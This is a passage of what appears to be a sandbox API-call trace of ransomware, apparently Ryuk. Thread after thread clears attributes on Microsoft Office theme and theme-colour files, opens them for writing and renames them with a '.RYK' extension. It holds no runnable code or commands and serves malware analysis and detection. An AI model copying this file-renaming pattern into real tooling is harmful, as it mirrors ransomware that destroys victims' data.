	[0261.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.493] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3572
	os_tid = 0x3d2c

	[0260.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx", dwFileAttributes=0x80) returned 0
	[0261.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.492] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3573
	os_tid = 0x3d30

	[0260.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx", dwFileAttributes=0x80) returned 0
	[0261.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.491] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.491] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3574
	os_tid = 0x3d34

	[0260.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx", dwFileAttributes=0x80) returned 0
	[0261.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.490] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.490] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3575
	os_tid = 0x3d38

	[0260.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx", dwFileAttributes=0x80) returned 0
	[0261.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.489] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3576
	os_tid = 0x3d3c

	[0260.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx", dwFileAttributes=0x80) returned 0
	[0261.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.488] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.488] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3577
	os_tid = 0x3d40

	[0260.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx", dwFileAttributes=0x80) returned 0
	[0261.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.487] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.487] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3578
	os_tid = 0x3d44

	[0260.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx", dwFileAttributes=0x80) returned 0
	[0261.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.486] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3579
	os_tid = 0x3d48

	[0260.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx", dwFileAttributes=0x80) returned 0
	[0261.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.485] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3580
	os_tid = 0x3d4c

	[0260.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx", dwFileAttributes=0x80) returned 0
	[0261.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.484] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.484] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3581
	os_tid = 0x3d50

	[0260.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx", dwFileAttributes=0x80) returned 0
	[0261.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.483] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.483] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3582
	os_tid = 0x3d54

	[0260.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx", dwFileAttributes=0x80) returned 0
	[0261.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.482] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.482] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3583
	os_tid = 0x3d58

	[0261.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx", dwFileAttributes=0x80) returned 0
	[0261.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.254] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.254] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3584
	os_tid = 0x3d5c

	[0261.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx", dwFileAttributes=0x80) returned 0
	[0261.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.769] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.769] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3585
	os_tid = 0x3d60

	[0261.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx", dwFileAttributes=0x80) returned 0
	[0261.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.768] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.768] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3586
	os_tid = 0x3d64

	[0261.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx", dwFileAttributes=0x80) returned 0
	[0261.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.767] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.767] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3587
	os_tid = 0x3d68

	[0261.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx", dwFileAttributes=0x80) returned 0
	[0261.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.766] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3588
	os_tid = 0x3d6c

	[0261.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx", dwFileAttributes=0x80) returned 0
	[0261.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.765] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.765] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3589
	os_tid = 0x3d70

	[0261.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx", dwFileAttributes=0x80) returned 0
	[0261.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.764] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.764] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3590
	os_tid = 0x3d74

	[0261.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx", dwFileAttributes=0x80) returned 0
	[0261.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.763] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.763] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3591
	os_tid = 0x3d78

	[0261.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx", dwFileAttributes=0x80) returned 0
	[0261.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.501] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.502] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3608
	os_tid = 0x3dc8

	[0262.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml", dwFileAttributes=0x80) returned 0
	[0262.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.793] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.793] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3609
	os_tid = 0x3dcc

	[0262.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml", dwFileAttributes=0x80) returned 0
	[0262.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.794] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.795] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3610
	os_tid = 0x3dd0

	[0262.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml", dwFileAttributes=0x80) returned 0
	[0265.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.944] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.944] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3611
	os_tid = 0x3dd4

	[0262.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml", dwFileAttributes=0x80) returned 0
	[0265.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.945] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.946] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3612
	os_tid = 0x3dd8

	[0262.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml", dwFileAttributes=0x80) returned 0
	[0265.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.947] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3613
	os_tid = 0x3ddc

	[0262.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml", dwFileAttributes=0x80) returned 0
	[0265.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.948] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.948] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3614
	os_tid = 0x3de0

	[0262.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml", dwFileAttributes=0x80) returned 0
	[0265.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.949] CloseHandle (hObject=0xffffffffffffffff) returned 0
